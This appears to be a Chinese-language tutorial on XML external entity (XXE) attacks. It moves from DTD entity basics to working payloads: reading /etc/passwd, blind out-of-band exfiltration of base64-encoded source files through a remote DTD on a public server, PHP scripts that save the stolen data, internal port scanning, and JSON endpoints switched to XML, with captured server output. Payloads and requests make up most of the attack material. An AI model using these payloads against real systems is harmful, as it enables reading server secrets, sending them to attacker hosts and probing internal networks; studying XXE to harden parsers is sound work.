XML介绍
xml和html都是文本标记语言,不过xml用来进行文本传输,html用来进行文本显示。
xxe漏洞主要是利用了DTD引用外部实体导致的漏洞,xml在引用外部实体时,可以导致命令执行,任意文件读取或者内网端口探测,则命名为xxe漏洞。
一、xml基础
代码语言:javascript复制***********实体***************
实体必须在DTD中声明定义
DTD文档中有很多重要的关键字如下:
DOCTYPE(DTD的声明)
ENTITY(实体的声明)
SYSTEM、PUBLIC(外部资源申请)
通用实体&内部实体:
<!ENTITY 实体名称 "实体的值">
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY[
<!ENTITY writer "Bill Gates">
]>
<root>&name;</root>//一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)
通用实体&外部实体:
<!ENTITY 实体名称 SYSTEM "URI/URL">
<!ENTITY writer SYSTEM "file:///etc/passwd" >
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY[
<!ENTITY name SYSTEM "file:///etc/passwd" >
]>
<root>&name;</root>
参数实体&内部实体:
<!ENTITY % 实体名称 "实体的值">
参数实体&外部实体:
<!ENTITY % 实体名称 SYSTEM "URI">
<!DOCTYPE ANY [
<!ENTITY % name SYSTEM "http://localhost/index.html">//参数实体只能在DTD中定义,DTD中引用
%name; //%实体名;一个实体由三部分构成: 一个 (%), 一个实体名称, 以及一个分号 (;)
]>
一个基本的xml文档如下:
代码语言:javascript复制<?xml version="1.0" encoding="ISO-8859-1"?> //定义了xml的版本是1.0,使用的编码是ISO-8859-1
//下面为DTD,xml约束
<!DOCTYPE note [ //定义此文档是 note 类型的文档。
<!ELEMENT note (to,from,heading,body)> //定义 note 元素有四个元素:"to、from、heading、body"
<!ELEMENT to (#PCDATA)> //定义 to 元素为 "#PCDATA" 类型
<!ELEMENT from (#PCDATA)> //定义 from 元素为 "#PCDATA" 类型
<!ELEMENT heading (#PCDATA)> // heading 元素为 "#PCDATA" 类型
<!ELEMENT body (#PCDATA)> //定义 body 元素为 "#PCDATA" 类型
]>
/*
#PCDATA:元素内容必须为字符串类型<from>John</from> //John应该指的是元素内容
ANY:任意类型
EMPTY:元素内容必须为空 <br />
*/
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
<!ENTITY 实体名称 SYSTEM "URI">中的URI/URL可支持的协议如下
二、xxe
1.参数有回显
代码语言:javascript复制<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY name "my name is nMask">
]>
<root>&name;</root>
如果页面输出了my name is nMask说明xml文件可以被解析,那么下一步改包测试是否可以引用外部实体,
是否可以xxe
<?xml version=”1.0” encoding=”UTF-8”?>
<!DOCTYPE ANY [
<!ENTITY % name SYSTEM "http://localhost/index.html">
%name; //%实体名;一个实体由三部分构成: 一个 (%), 一个实体名称, 以及一个分号 (;)
]>
或者改为dnslog,看看有没有收到记录,还可以用下面这种测试
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY[
<!ENTITY name SYSTEM "file:///etc/passwd" >
]>
<root>&name;</root>
2.参数无回显
其实就是参数无回显,就使用公网服务器的恶意xml,加上改包中的xml,将服务器中读取的源码等文件发送给公网的php文件,存为txt。
代码语言:javascript复制创建hacker.php来供外部实体引用
<?php
$xml=<<<EOF
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///etc/passwd"> //被攻击的服务器
<!ENTITY % remote SYSTEM "http://localhost/hacker.xml"> //自建服务器,买一个有公网ip的云服务器
%remote;
%all;
%send;
]>
EOF;
$data = simplexml_load_string($xml) ; //将XML转化为对象
echo "<pre>" ;
print_r($data) ;
?>
下面这个文件就是一般要抓包修改的xml内容
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/phpStudy/scms/conn/conn.php">
<!ENTITY % remote SYSTEM "http://59.63.200.79:8014/xxe/1.xml">
%remote;
%send;
]>
如果源码里有simplexml_load_string那么,也有这种形式
<?php
$test =<<<EOF
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=1.txt">
<!ENTITY % remote SYSTEM "http://127.0.0.1/xxe/pt/1.xml">
%remote;
%send;
]>
EOF;
$obj = simplexml_load_string($test, 'SimpleXMLElement', LIBXML_NOENT);
?>
代码语言:javascript复制下面的这两种情况的xml都在我们的公网服务器上
创建hacker.xml
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://localhost/readdata.php?file=%file;'>">
第二种形式对应的xml
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://192.168.1.3/xxe/2.php?id=%file;'>"
%all;
代码语言:javascript复制结果也会被存储在公网服务器
创建接受数据的文件readdata.php
<?php
file_put_contents("result.txt", $_GET'file') ;
?>
第二种形式对应的php文件,FILE_APPEND表示追加到结果文件
<?php file_put_contents("result.txt",$_GET["id"],FILE_APPEND);?>
3.内网端口扫描
代码语言:javascript复制<?xml version=”1.0″ encoding=”utf-8″?>
<!DOCTYPE root [
<!ELEMENT name ANY >
<!ENTITY XXE SYSTEM "http://ip:port" >
]>
<root>
<name>&XXE;</name>
</root>
端口开放时会返回报错信息,端口不存在时会无法连接
端口开放会报错,如下
端口不存在会无法连接,如下
4.简单xml拼接漏洞
三、JSON XXE
很多web和移动应用都基于客户端-服务器交互模式的web通信服务,一般对于web服务来说,最常见的数据格式都是XML和JSON。尽管web服务可能在编程时只使用其中一种格式,但服务器却可以接受开发人员并没有预料到的其他数据格式,这就有可能会导致JSON节点受到XXE(XML外部实体)攻击。
代码语言:javascript复制原始请求:
HTTP Request:
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/json
Content-Length: 38
{"search":"name","value":"netspitest"}
原始响应:
HTTP Response:
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 43
{"error": "no results for name netspitest"}
现在我们尝试将 Content-Type 修改为 application/xml
代码语言:javascript复制进一步请求和响应:
HTTP Request:
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 38
{"search":"name","value":"netspitest"}
HTTP Response:
HTTP/1.1 500 Internal Server Error
Content-Type: application/json
Content-Length: 127
{"errors":{"errorMessage":"org.xml.sax.SAXParseException: XML document structures must start and end within the same entity."}}
可以发现服务器端是能处理 xml 数据的,于是我们就可以利用这个来进行攻击
代码语言:javascript复制最终的请求和响应:
HTTP Request:
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 288
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<search>name</search>
<value>&xxe;</value>
</root>
HTTP Response:
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 2467
{"error": "no results for name root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync....
四、实例
代码语言:javascript复制POST /vulnerable HTTP/1.1
Host: www.test.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9
Accept-Language: en-US,en;q=0.5
Referer: https://test.com/test.html
Content-Type: application/xml
Content-Length: 294
Cookie: mycookie=cookies;
Connection: close
Upgrade-Insecure-Requests: 1
<?xml version="1.0"?>
<catalog>
<core id="test101">
<author>John, Doe</author>
<title>I love XML</title>
<category>Computers</category>
<price>9.99</price>
<date>2018-10-01</date>
<description>XML is the best!</description>
</core>
</catalog>
我们发出 带有 xml 的 POST 请求以后,述代码将交由服务器的XML处理器解析。代码被解释并返回:
{“Request Successful”: “Added!”}
但是如果我们传入一个恶意的代码
代码语言:javascript复制<?xml version="1.0"?>
<!DOCTYPE catalog[
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<catalog>
<core id="test101">
<author>John, Doe</author>
<title>I love XML</title>
<category>Computers</category>
<price>9.99</price>
<date>2018-10-01</date>
<description>&xxe;</description>
</core>
</catalog>
如果没有做好“安全措施” 就会出现解析恶意代码的情况,就会有下面的返回
代码语言:javascript复制{"error": "no results for description root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync...